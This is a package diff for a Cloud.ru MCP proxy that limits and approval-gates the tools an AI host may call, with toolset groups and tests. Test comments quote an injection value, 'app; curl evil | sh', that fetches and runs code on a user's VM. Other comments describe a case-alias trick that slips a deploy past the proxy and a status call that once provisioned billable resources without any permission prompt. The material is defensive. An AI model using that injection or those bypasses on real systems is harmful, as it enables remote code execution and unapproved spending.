@dzhechkov/cloudru-hub 0.1.11 → 0.1.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,268 @@
1
+ 'use strict';
2
+
3
+ // Read-only MCP boundary for hosts whose hook/permission paths have not been
4
+ // live-probed. The host never gets a raw engine channel through this command.
5
+ const { spawn } = require('child_process');
6
+ const { loadClassification } = require('./classification');
7
+ const { resolveEngine } = require('./resolve');
8
+ const { selectedToolNames } = require('./toolsets');
9
+ const { readCredentials, readOptionalCredentials } = require('./credentials');
10
+ const { consumeApproval, recordDeployedVM, approvedVM } = require('./deploy-approval');
11
+ const { consumeK8sApproval, k8sSession, verificationArgs } = require('./k8s-approval');
12
+
13
+ const MAX_LINE = 1024 * 1024;
14
+ const idKey = (id) => JSON.stringify(id);
15
+ const errorResponse = (id, message, code = -32000) => ({ jsonrpc: '2.0', id, error: { code, message } });
16
+
17
+ function redactDeploySecrets(value) {
18
+ if (Array.isArray(value)) return value.map(redactDeploySecrets);
19
+ if (!value || typeof value !== 'object') return value;
20
+ return Object.fromEntries(Object.entries(value)
21
+ .filter(([key]) => !/password|secret|private.?key|access.?token/i.test(key))
22
+ .map(([key, item]) => [key, redactDeploySecrets(item)]));
23
+ }
24
+
25
+ function lineReader(stream, onLine, onError) {
26
+ let buffer = '';
27
+ stream.setEncoding('utf8');
28
+ stream.on('data', (chunk) => {
29
+ buffer += chunk;
30
+ if (Buffer.byteLength(buffer) > MAX_LINE * 2) return onError('MCP input exceeded line limit');
31
+ for (;;) {
32
+ const end = buffer.indexOf('\n');
33
+ if (end < 0) break;
34
+ const line = buffer.slice(0, end).trim();
35
+ buffer = buffer.slice(end + 1);
36
+ if (Buffer.byteLength(line) > MAX_LINE) return onError('MCP line exceeded limit');
37
+ if (line) onLine(line);
38
+ }
39
+ if (Buffer.byteLength(buffer) > MAX_LINE) onError('MCP line exceeded limit');
40
+ });
41
+ stream.on('end', () => { if (buffer.trim()) onError('incomplete MCP line'); });
42
+ }
43
+
44
+ function runSafeMcp(options = {}) {
45
+ const resolved = options.resolved || resolveEngine();
46
+ const cls = options.classification || loadClassification();
47
+ const stderr = options.stderr || process.stderr;
48
+ const stdin = options.stdin || process.stdin;
49
+ const stdout = options.stdout || process.stdout;
50
+ let selected;
51
+ const deployProfile = options.toolsets === 'vm-deploy';
52
+ const k8sProfile = options.toolsets === 'k8s-deploy';
53
+ let credentials;
54
+ try {
55
+ selected = new Set(selectedToolNames(options.toolsets || 'all', cls));
56
+ if (deployProfile || k8sProfile) credentials = readCredentials(options.env || process.env);
57
+ else if ([...selected].some((name) => name.startsWith('billing_'))) {
58
+ credentials = readOptionalCredentials(options.env || process.env);
59
+ }
60
+ }
61
+ catch (error) { stderr.write(`cloudru-hub mcp-safe: ${error.message}\n`); return 1; }
62
+ if (resolved.error || !resolved.verified || resolved.sha256 !== cls.engineSha256) {
63
+ stderr.write('cloudru-hub mcp-safe: pinned engine SHA-256 required; refusing to start\n');
64
+ return 1;
65
+ }
66
+
67
+ const engine = spawn(resolved.path, ['mcp'], {
68
+ stdio: ['pipe', 'pipe', 'inherit'],
69
+ env: credentials ? { ...(options.env || process.env), ...credentials.env } : (options.env || process.env),
70
+ });
71
+ const pending = new Map();
72
+ // The pinned engine's tool inventory is fixed for this process. Keep a
73
+ // filtered copy so a host keepalive can be answered while Go is handling a
74
+ // long deploy_apply request on its serial stdio loop.
75
+ let cachedToolsList = null;
76
+ let stopped = false;
77
+ let inputEnded = false;
78
+ let closing = false;
79
+ const emit = (obj) => stdout.write(JSON.stringify(obj) + '\n');
80
+ const stop = (reason) => {
81
+ if (stopped) return;
82
+ stopped = true;
83
+ stderr.write(`cloudru-hub mcp-safe: ${reason}\n`);
84
+ for (const key of pending.keys()) {
85
+ emit(errorResponse(JSON.parse(key), 'Cloud.ru engine connection closed'));
86
+ }
87
+ pending.clear();
88
+ stdin.destroy();
89
+ engine.stdin.end();
90
+ if (!engine.killed) engine.kill();
91
+ process.exitCode = 1;
92
+ };
93
+ engine.on('error', (error) => stop(`engine failed: ${error.message}`));
94
+ engine.on('exit', (code) => {
95
+ if (!stopped && !closing) stop(`engine exited with status ${code === null ? 'unknown' : code}`);
96
+ });
97
+ engine.stdin.on('error', (error) => stop(`engine input failed: ${error.message}`));
98
+ const closeIfDone = () => {
99
+ if (inputEnded && pending.size === 0 && !closing) {
100
+ closing = true;
101
+ engine.stdin.end();
102
+ }
103
+ };
104
+ stdin.on('end', () => { inputEnded = true; closeIfDone(); });
105
+
106
+ lineReader(stdin, (line) => {
107
+ if (stopped) return;
108
+ let message;
109
+ try { message = JSON.parse(line); } catch { emit(errorResponse(null, 'invalid JSON', -32700)); return; }
110
+ if (!message || Array.isArray(message) || typeof message !== 'object' || message.jsonrpc !== '2.0') {
111
+ emit(errorResponse(null, 'invalid JSON-RPC request', -32600)); return;
112
+ }
113
+ const hasId = Object.hasOwn(message, 'id');
114
+ const method = message.method;
115
+ if (!hasId) {
116
+ if (method === 'notifications/initialized') {
117
+ engine.stdin.write(JSON.stringify({ jsonrpc: '2.0', method }) + '\n');
118
+ }
119
+ return;
120
+ }
121
+ if (typeof method !== 'string' || (typeof message.id !== 'string' && !Number.isSafeInteger(message.id))) {
122
+ emit(errorResponse(message.id ?? null, 'invalid JSON-RPC request', -32600)); return;
123
+ }
124
+ const key = idKey(message.id);
125
+ if (pending.has(key)) { emit(errorResponse(message.id, 'duplicate request id', -32600)); return; }
126
+ if (method === 'tools/list' && cachedToolsList &&
127
+ (!Object.hasOwn(message, 'params') ||
128
+ (message.params && !Array.isArray(message.params) && typeof message.params === 'object' && Object.keys(message.params).length === 0))) {
129
+ emit({ jsonrpc: '2.0', id: message.id, result: cachedToolsList });
130
+ return;
131
+ }
132
+ let params;
133
+ let approval;
134
+ if (method === 'tools/call') {
135
+ const input = message.params;
136
+ const name = input && !Array.isArray(input) && typeof input === 'object' ? input.name : undefined;
137
+ if (typeof name !== 'string' || !selected.has(name)) {
138
+ emit(errorResponse(message.id, `tool ${typeof name === 'string' ? name : '<missing>'} is unavailable in this profile`));
139
+ return;
140
+ }
141
+ const args = input.arguments === undefined ? {} : input.arguments;
142
+ if (!args || typeof args !== 'object' || Array.isArray(args)) {
143
+ emit(errorResponse(message.id, 'tool arguments must be an object', -32602)); return;
144
+ }
145
+ // Go's encoding/json accepts case-insensitive struct field aliases. Never forward
146
+ // the original envelope: {name:"vm_list",Name:"deploy"} can otherwise execute deploy.
147
+ if (deployProfile && name === 'deploy_apply') {
148
+ try {
149
+ if (typeof args.plan_id !== 'string') throw new Error('plan_id is required');
150
+ approval = consumeApproval(args.plan_id, options.env || process.env);
151
+ params = { name, arguments: { plan_id: args.plan_id, confirmed: true } };
152
+ } catch (error) { emit(errorResponse(message.id, `deployment approval rejected: ${error.message}`)); return; }
153
+ } else if (deployProfile && name === 'vm_exec') {
154
+ try {
155
+ if (typeof args.command !== 'string' || !args.command.trim() || args.command.length > 65536) {
156
+ throw new Error('command must be a non-empty string of at most 65536 characters');
157
+ }
158
+ const vm = approvedVM(args.vm || args.vm_id, options.env || process.env);
159
+ params = { name, arguments: { vm: vm.vmId, user: vm.sshUser, command: args.command } };
160
+ } catch (error) { emit(errorResponse(message.id, `vm_exec rejected: ${error.message}`)); return; }
161
+ } else if (k8sProfile && name === 'k8s_apply') {
162
+ try {
163
+ if (Object.keys(args).length !== 1 || typeof args.approval_id !== 'string') throw new Error('only approval_id is accepted');
164
+ const approved = consumeK8sApproval(args.approval_id, options.env || process.env);
165
+ params = { name, arguments: { cluster_id: approved.clusterId, namespace: approved.namespace,
166
+ manifest: approved.manifest, create_only: true, confirmed: true } };
167
+ } catch (error) { emit(errorResponse(message.id, `Kubernetes approval rejected: ${error.message}`)); return; }
168
+ } else if (k8sProfile && name === 'k8s_kubectl') {
169
+ try {
170
+ if (Object.keys(args).length !== 2 || typeof args.approval_id !== 'string' || typeof args.query !== 'string') {
171
+ throw new Error('only approval_id and query are accepted');
172
+ }
173
+ const session = k8sSession(args.approval_id, options.env || process.env);
174
+ params = { name, arguments: { cluster_id: session.clusterId, args: verificationArgs(session, args.query) } };
175
+ } catch (error) { emit(errorResponse(message.id, `Kubernetes verification rejected: ${error.message}`)); return; }
176
+ } else {
177
+ params = { name, arguments: args };
178
+ }
179
+ } else if (!['initialize', 'ping', 'tools/list'].includes(method)) {
180
+ emit(errorResponse(message.id, `method ${method} is unavailable in read-only mode`, -32601));
181
+ return;
182
+ } else if (method === 'initialize') {
183
+ // The pinned engine requires the client's protocol version and capabilities.
184
+ const p = message.params;
185
+ if (!p || typeof p !== 'object' || Array.isArray(p)) {
186
+ emit(errorResponse(message.id, 'initialize params must be an object', -32602)); return;
187
+ }
188
+ params = { protocolVersion: p.protocolVersion, capabilities: p.capabilities, clientInfo: p.clientInfo };
189
+ }
190
+ pending.set(key, { method, approval });
191
+ engine.stdin.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, method, ...(params ? { params } : {}) }) + '\n');
192
+ }, stop);
193
+
194
+ lineReader(engine.stdout, (line) => {
195
+ if (stopped) return;
196
+ let message;
197
+ try { message = JSON.parse(line); } catch { stop('engine emitted invalid JSON'); return; }
198
+ if (!message || typeof message !== 'object' || !Object.hasOwn(message, 'id')) {
199
+ // MCP progress/log notifications are not needed for the safe read-only surface.
200
+ return;
201
+ }
202
+ const key = idKey(message.id);
203
+ const request = pending.get(key);
204
+ if (!request) { stop('engine emitted an unsolicited response'); return; }
205
+ const { method, approval } = request;
206
+ pending.delete(key);
207
+ if (method === 'tools/list' && !message.error) {
208
+ if (!message.result || !Array.isArray(message.result.tools)) { stop('engine tools/list response malformed'); return; }
209
+ message.result = { ...message.result, tools: message.result.tools.filter((tool) =>
210
+ tool && typeof tool.name === 'string' && selected.has(tool.name)).map((tool) => {
211
+ if (!k8sProfile) return tool;
212
+ if (tool.name === 'k8s_apply') return { ...tool,
213
+ description: 'Apply one locally reviewed Snake manifest to one existing cluster. Pass only the local approval ID.',
214
+ inputSchema: { type: 'object', properties: { approval_id: { type: 'string' } }, required: ['approval_id'], additionalProperties: false } };
215
+ if (tool.name === 'k8s_kubectl') return { ...tool,
216
+ description: 'Read only pods, deployment, service or rollout status for the previously approved Snake workload.',
217
+ inputSchema: { type: 'object', properties: { approval_id: { type: 'string' },
218
+ query: { type: 'string', enum: ['pods', 'deployment', 'service', 'rollout'] } },
219
+ required: ['approval_id', 'query'], additionalProperties: false } };
220
+ return tool;
221
+ }) };
222
+ // A paginated list could conceal tools from filtering/coverage checks.
223
+ if (message.result.nextCursor) { stop('engine tools/list pagination is unsupported'); return; }
224
+ cachedToolsList = message.result;
225
+ }
226
+ if (method === 'initialize' && message.result && message.result.capabilities) {
227
+ message.result = { ...message.result, capabilities: { tools: message.result.capabilities.tools || {} } };
228
+ }
229
+ if (approval && !message.error) {
230
+ // The engine returns an MCP text result containing its JSON deploy result.
231
+ // Keep the model from seeing a generated login password: vm_exec uses the
232
+ // engine-managed SSH key. Ambiguous responses require inspection.
233
+ const item = message.result?.content?.find((x) => x.type === 'text');
234
+ let deploy;
235
+ try { deploy = JSON.parse(item?.text || ''); }
236
+ catch {
237
+ message.result = { isError: true, content: [{ type: 'text', text: 'deploy_apply returned an unreadable outcome; inspect the live VM inventory before retrying' }] };
238
+ emit(message); closeIfDone(); return;
239
+ }
240
+ if (!deploy || typeof deploy !== 'object' || Array.isArray(deploy)) {
241
+ message.result = { isError: true, content: [{ type: 'text', text: 'deploy_apply returned an invalid outcome; inspect the live VM inventory before retrying' }] };
242
+ emit(message); closeIfDone(); return;
243
+ }
244
+ const safe = redactDeploySecrets(deploy);
245
+ if (!message.result?.isError && approval.siteMode && deploy.status === 'running' && deploy.http_verification?.verified === true) {
246
+ // Static-site delivery is verified over HTTP. It does not imply SSH is
247
+ // available, so never create a vm_exec session for this VM.
248
+ } else if (!message.result?.isError && !approval.siteMode && deploy.status === 'running') {
249
+ try {
250
+ const session = recordDeployedVM(approval, deploy, options.env || process.env);
251
+ safe.approved_vm_session_expires_at = new Date(session.expiresAt).toISOString();
252
+ } catch (error) {
253
+ message.result.isError = true;
254
+ safe.recovery = `VM may exist but the approved execution session was not recorded: ${error.message}. Inspect VM inventory before retrying.`;
255
+ }
256
+ } else {
257
+ message.result.isError = true;
258
+ safe.recovery = 'A VM may exist. Inspect the returned VM UUID and live inventory before retrying; a fresh plan and approval may be needed.';
259
+ }
260
+ item.text = JSON.stringify(safe);
261
+ }
262
+ emit(message);
263
+ closeIfDone();
264
+ }, stop);
265
+ return null;
266
+ }
267
+
268
+ module.exports = { runSafeMcp, MAX_LINE };
@@ -0,0 +1,58 @@
1
+ 'use strict';
2
+ // Named, auditable discovery groups. Each member must remain classified allow.
3
+ const { loadClassification } = require('./classification');
4
+
5
+ const GROUPS = Object.freeze({
6
+ inventory: ['status', 'list', 'vm_list', 'vm_get', 'list_zones', 'list_images', 'list_flavors', 'list_disk_types', 'list_subnets', 'org_projects', 'org_quotas'],
7
+ compute: ['vm_list', 'vm_get', 'disk_list', 'list_flavors', 'list_disk_types', 'list_zones', 'list_images', 'list_subnets', 'list_security_groups', 'list_floating_ips'],
8
+ kubernetes: ['k8s_list', 'k8s_get', 'k8s_options', 'k8s_plan', 'k8s_nodepools'],
9
+ data: ['pg_list', 'pg_get', 'pg_versions', 'pg_specs', 'pg_databases', 'pg_users', 'pg_backups', 'kafka_list', 'kafka_get', 'kafka_versions', 'kafka_specs', 'redis_list', 'redis_get', 'redis_versions', 'redis_specs'],
10
+ network: ['vpc_list', 'vpc_get', 'vpc_routes', 'snat_list', 'lb_list', 'lb_get', 'tg_list', 'tg_get', 'dns_zones', 'dns_zone_get', 'dns_records', 'dns_record_get'],
11
+ storage: ['disk_list', 's3_buckets', 's3_ls', 's3_get'],
12
+ billing: ['billing_balance', 'billing_consumption', 'billing_finops'],
13
+ });
14
+
15
+ // A separate, opt-in workflow. Mutators pass the proxy's local plan/VM guard;
16
+ // combining this with a read-only group would blur that boundary.
17
+ const VM_DEPLOY = Object.freeze([
18
+ 'deploy_plan', 'deploy_apply', 'vm_exec', 'vm_list', 'vm_get',
19
+ 'list_zones', 'list_images', 'list_flavors', 'list_disk_types',
20
+ 'list_subnets', 'list_security_groups', 'status',
21
+ ]);
22
+ const K8S_DEPLOY = Object.freeze([
23
+ 'k8s_list', 'k8s_get', 'k8s_options', 'k8s_nodepools', 'k8s_apply', 'k8s_kubectl',
24
+ ]);
25
+
26
+ function selectedToolNames(spec = 'all', cls = loadClassification()) {
27
+ if (spec === 'vm-deploy') {
28
+ for (const name of VM_DEPLOY) {
29
+ const permission = cls.tools[name]?.permission;
30
+ if (permission !== (['deploy_apply', 'vm_exec'].includes(name) ? 'ask' : 'allow')) {
31
+ throw new Error(`vm-deploy tool classification changed: ${name}`);
32
+ }
33
+ }
34
+ return [...VM_DEPLOY].sort();
35
+ }
36
+ if (spec === 'k8s-deploy') {
37
+ for (const name of K8S_DEPLOY) {
38
+ const permission = cls.tools[name]?.permission;
39
+ if (permission !== (['k8s_apply', 'k8s_kubectl'].includes(name) ? 'ask' : 'allow')) {
40
+ throw new Error(`k8s-deploy tool classification changed: ${name}`);
41
+ }
42
+ }
43
+ return [...K8S_DEPLOY].sort();
44
+ }
45
+ const names = Object.entries(cls.tools).filter(([, v]) => v.permission === 'allow').map(([name]) => name);
46
+ if (spec === 'all') return names.sort();
47
+ const parts = String(spec).split(',').map((x) => x.trim()).filter(Boolean);
48
+ if (parts.length === 0 || parts.includes('all') || parts.some((p) => !Object.hasOwn(GROUPS, p))) {
49
+ throw new Error(`invalid toolsets "${spec}"; choose all, vm-deploy, k8s-deploy, or comma-separated ${Object.keys(GROUPS).join(', ')}`);
50
+ }
51
+ const selected = [...new Set(parts.flatMap((p) => GROUPS[p]))].sort();
52
+ for (const name of selected) {
53
+ if (!cls.tools[name] || cls.tools[name].permission !== 'allow') throw new Error(`toolset contains non-allow tool: ${name}`);
54
+ }
55
+ return selected;
56
+ }
57
+
58
+ module.exports = { GROUPS, VM_DEPLOY, K8S_DEPLOY, selectedToolNames };
File without changes
@@ -0,0 +1,113 @@
1
+ import { after, test } from 'node:test';
2
+ import assert from 'node:assert/strict';
3
+ import fs from 'node:fs';
4
+ import os from 'node:os';
5
+ import path from 'node:path';
6
+ import { spawnSync } from 'node:child_process';
7
+ import { createRequire } from 'node:module';
8
+
9
+ const require = createRequire(import.meta.url);
10
+ const { readCredentials } = require('../src/credentials.js');
11
+ const classification = require('../data/tools-classification.json');
12
+ const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-billing-credentials-'));
13
+ after(() => fs.rmSync(scratch, { recursive: true, force: true }));
14
+
15
+ const credentials = path.join(scratch, 'credentials.json');
16
+ const engine = path.join(scratch, 'fake-engine');
17
+ const projectId = '11111111-2222-3333-4444-555555555555';
18
+ const agreementId = 'agreement-123';
19
+
20
+ fs.writeFileSync(engine, `#!/usr/bin/env node
21
+ process.stdin.setEncoding('utf8');
22
+ let buffer = '';
23
+ process.stdin.on('data', (chunk) => {
24
+ buffer += chunk;
25
+ let end;
26
+ while ((end = buffer.indexOf('\\n')) >= 0) {
27
+ const line = buffer.slice(0, end);
28
+ buffer = buffer.slice(end + 1);
29
+ if (!line) continue;
30
+ const message = JSON.parse(line);
31
+ const result = { content: [{ type: 'text', text: JSON.stringify({
32
+ agreement: process.env.CLOUDRU_AGREEMENT_ID || null,
33
+ keyId: process.env.CLOUDRU_KEY_ID || null,
34
+ projectId: process.env.CLOUDRU_PROJECT_ID || null,
35
+ }) }] };
36
+ process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result }) + '\\n');
37
+ }
38
+ });
39
+ `, { mode: 0o755 });
40
+
41
+ function callBilling(extraEnv = {}, toolsets = 'billing') {
42
+ const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});` +
43
+ `const result=runSafeMcp({toolsets:${JSON.stringify(toolsets)},resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(classification.engineSha256)}}});if(result!==null)process.exitCode=result;`;
44
+ const input = JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'billing_balance', arguments: {} } }) + '\n';
45
+ return spawnSync(process.execPath, ['-e', script], {
46
+ input, encoding: 'utf8', timeout: 5000,
47
+ env: { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, ...extraEnv },
48
+ });
49
+ }
50
+
51
+ test('billing profile forwards agreement ID and auth from owner-only credentials to the Go child', () => {
52
+ fs.writeFileSync(credentials, JSON.stringify({
53
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
54
+ agreement_id: agreementId,
55
+ }), { mode: 0o600 });
56
+ const run = callBilling({ CLOUDRU_AGREEMENT_ID: 'stale-env-agreement' });
57
+ assert.equal(run.status, 0, run.stderr);
58
+ const response = JSON.parse(run.stdout.trim());
59
+ assert.deepEqual(JSON.parse(response.result.content[0].text), {
60
+ agreement: agreementId, keyId: 'synthetic-key', projectId,
61
+ });
62
+ assert.doesNotMatch(run.stdout + run.stderr, /synthetic-secret/);
63
+ });
64
+
65
+ test('agreement ID is optional in the file and can still come from the environment', () => {
66
+ fs.writeFileSync(credentials, JSON.stringify({
67
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
68
+ }), { mode: 0o600 });
69
+ const run = callBilling({ CLOUDRU_AGREEMENT_ID: agreementId });
70
+ assert.equal(run.status, 0, run.stderr);
71
+ assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
72
+ });
73
+
74
+ test('mixed and all profiles also forward the agreement ID when billing is selected', () => {
75
+ fs.writeFileSync(credentials, JSON.stringify({
76
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
77
+ agreement_id: agreementId,
78
+ }), { mode: 0o600 });
79
+ for (const profile of ['inventory,billing', 'all']) {
80
+ const run = callBilling({}, profile);
81
+ assert.equal(run.status, 0, `${profile}: ${run.stderr}`);
82
+ assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
83
+ }
84
+ });
85
+
86
+ test('billing keeps an environment-only setup when no credential file exists', () => {
87
+ const run = callBilling({
88
+ HOME: path.join(scratch, 'empty-home'),
89
+ CLOUDRU_HUB_CREDENTIALS: '',
90
+ CLOUDRU_AGREEMENT_ID: agreementId,
91
+ CLOUDRU_KEY_ID: 'environment-key',
92
+ CLOUDRU_PROJECT_ID: projectId,
93
+ });
94
+ assert.equal(run.status, 0, run.stderr);
95
+ assert.deepEqual(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text), {
96
+ agreement: agreementId, keyId: 'environment-key', projectId,
97
+ });
98
+ });
99
+
100
+ test('explicit missing or malformed billing credential files fail closed', () => {
101
+ const missing = callBilling({ CLOUDRU_HUB_CREDENTIALS: path.join(scratch, 'missing.json') });
102
+ assert.equal(missing.status, 1);
103
+ assert.match(missing.stderr, /cloudru-hub mcp-safe:/);
104
+ fs.writeFileSync(credentials, JSON.stringify({
105
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
106
+ agreement_id: 'bad\nvalue',
107
+ }), { mode: 0o600 });
108
+ const malformed = callBilling();
109
+ assert.equal(malformed.status, 1);
110
+ assert.match(malformed.stderr, /agreement_id/);
111
+ assert.equal(malformed.stdout, '');
112
+ assert.throws(() => readCredentials({ CLOUDRU_HUB_CREDENTIALS: credentials }), /agreement_id/);
113
+ });
@@ -19,34 +19,28 @@ test('every snapshot tool is classified, and nothing extra', () => {
19
19
  assert.equal(snapNames.length, 144);
20
20
  });
21
21
 
22
- test('counts are the reviewed golden split: 65 ask / 2 deny / 77 allow', () => {
23
- assert.deepEqual(cls.counts, { ask: 65, deny: 2, allow: 77 });
22
+ test('counts are the reviewed golden split: 64 ask / 2 deny / 78 allow', () => {
23
+ assert.deepEqual(cls.counts, { ask: 64, deny: 2, allow: 78 });
24
24
  const by = namesByPermission(cls);
25
- assert.equal(by.ask.length, 65);
25
+ assert.equal(by.ask.length, 64);
26
26
  assert.equal(by.deny.length, 2);
27
- assert.equal(by.allow.length, 77);
27
+ assert.equal(by.allow.length, 78);
28
28
  });
29
29
 
30
- // --- Invariant of the 2026-08-10 behaviour re-audit (cross-model QE HIGH finding) ---
31
- // stack_status ADVANCES a planned/running job server-side: handleStackStatus
32
- // (tools_stack.go:451) calls advance() (:479-484), which starts pending steps via
33
- // s.callTool (:220) — invoking the paid create tools with no confirmation.
34
- // LIVE-REPRODUCED: one stack_status call moved a planned job planned→running and
35
- // attempted `provision` (stopped only at AUTH_REQUIRED). If this ever flips back to
36
- // allow, the fully-frictionless chain stack_plan→stack_status provisions a billable
37
- // stack with ZERO permission prompts — defeating the ADR-004 brake.
38
- test('stack_status is ASK — it advances jobs and invokes paid create tools (tools_stack.go:479→:220)', () => {
39
- assert.equal(cls.tools.stack_status.permission, 'ask');
40
- assert.equal(cls.tools.stack_status.effect, 'mutating');
30
+ // The imported engine now makes status observational. The Go regression test
31
+ // proves repeated reads do not advance a planned/running job; only apply can.
32
+ test('stack_status is ALLOW only after the engine stopped advancing jobs', () => {
33
+ assert.equal(cls.tools.stack_status.permission, 'allow');
34
+ assert.equal(cls.tools.stack_status.effect, 'read-only');
41
35
  const rules = permissionRules(cls);
42
- assert.ok(rules.ask.includes('mcp__cloudru-vm__stack_status'));
43
- assert.ok(rules.ask.includes('mcp__cloudru_vm__stack_status'));
44
- assert.ok(!rules.allow.some((r) => r.endsWith('__stack_status')), 'stack_status must never be emitted as allow');
36
+ assert.ok(rules.allow.includes('mcp__cloudru-vm__stack_status'));
37
+ assert.ok(rules.allow.includes('mcp__cloudru_vm__stack_status'));
38
+ assert.ok(!rules.ask.some((r) => r.endsWith('__stack_status')));
45
39
  });
46
40
 
47
- test('the stack chain: only the pure plan is allow — every advancing/applying/destroying step is ask', () => {
48
- assert.equal(cls.tools.stack_plan.permission, 'allow'); // verified: persists a LOCAL job file only, creates nothing
49
- for (const name of ['stack_apply', 'stack_status', 'stack_destroy']) {
41
+ test('the stack chain: plan and status are observational; apply and destroy require approval', () => {
42
+ for (const name of ['stack_plan', 'stack_status']) assert.equal(cls.tools[name].permission, 'allow', name);
43
+ for (const name of ['stack_apply', 'stack_destroy']) {
50
44
  assert.equal(cls.tools[name].permission, 'ask', name);
51
45
  }
52
46
  });
@@ -54,12 +48,9 @@ test('the stack chain: only the pure plan is allow — every advancing/applying/
54
48
  // --- Invariant of the 2026-08-10 shell-reach re-audit (AM-2, cross-model QE HIGH) ---
55
49
  // The classification method has a SECOND hazard axis: a tool is allow ONLY if it does NOT
56
50
  // pass a user-controlled arg into a remote shell. `logs` does — handleLogs (tools.go:1758)
57
- // hands the user `service` arg to engine.Logs, which concatenates it RAW into a remote
58
- // `docker compose logs <service>` (engine/logs.go:61) run via SSH CombinedOutput
59
- // (internal/deploy/ssh.go:117). service="app; curl evil | sh" ⇒ arbitrary RCE on the
60
- // user's VM. If this flips back to allow the injection sits behind a SILENT allow — a
61
- // zero-prompt command-injection path defeating the ADR-004 brake.
62
- test('logs is ASK — it concatenates a user-controlled service arg into a remote shell (logs.go:61 → ssh.go:117)', () => {
51
+ // reaches a remote shell. The imported engine quotes that argument, but a log
52
+ // read can disclose sensitive output and still crosses the shell-reach axis.
53
+ test('logs remains ASK because it reaches remote SSH/compose', () => {
63
54
  assert.equal(cls.tools.logs.permission, 'ask');
64
55
  const rules = permissionRules(cls);
65
56
  assert.ok(rules.ask.includes('mcp__cloudru-vm__logs'));
@@ -70,10 +61,10 @@ test('logs is ASK — it concatenates a user-controlled service arg into a remot
70
61
  // The method doc (the $comment) must keep documenting BOTH hazard axes — losing the
71
62
  // shell-reach axis silently is the exact regression that let `logs` sit in allow. This is
72
63
  // a layer-1 guard on the METHOD, not just the instance.
73
- test('the classification method doc documents the shell-reach hazard axis and the engine-injection flag', () => {
64
+ test('the classification method doc documents the shell-reach axis and the engine fix', () => {
74
65
  assert.match(cls.$comment, /shell-reach/i, 'method doc must name the shell-reach hazard axis');
75
- assert.match(cls.$comment, /user-controlled argument into a shell/i);
76
- assert.match(cls.$comment, /shell-escape opts\.Service/i, 'method doc must record the flagged engine injection');
66
+ assert.match(cls.$comment, /user-controlled argument reaching shell/i);
67
+ assert.match(cls.$comment, /logs shell-quotes service/i);
77
68
  });
78
69
 
79
70
  // No allow tool may reach a shell: every allow entry must be free of the shell-reach
@@ -128,9 +119,9 @@ test('read-only recon stays frictionless: vm_list, billing_*, deploy_plan are al
128
119
  test('permissionRules expands every name in BOTH prefix spellings (unverified normalization, deny-by-default)', () => {
129
120
  const rules = permissionRules(cls);
130
121
  assert.equal(SERVER_PREFIXES.length, 2);
131
- assert.equal(rules.ask.length, 65 * 2);
122
+ assert.equal(rules.ask.length, 64 * 2);
132
123
  assert.equal(rules.deny.length, 2 * 2);
133
- assert.equal(rules.allow.length, 77 * 2);
124
+ assert.equal(rules.allow.length, 78 * 2);
134
125
  assert.ok(rules.ask.includes('mcp__cloudru-vm__deploy'));
135
126
  assert.ok(rules.ask.includes('mcp__cloudru_vm__deploy'));
136
127
  assert.ok(rules.deny.includes('mcp__cloudru-vm__secret_value'));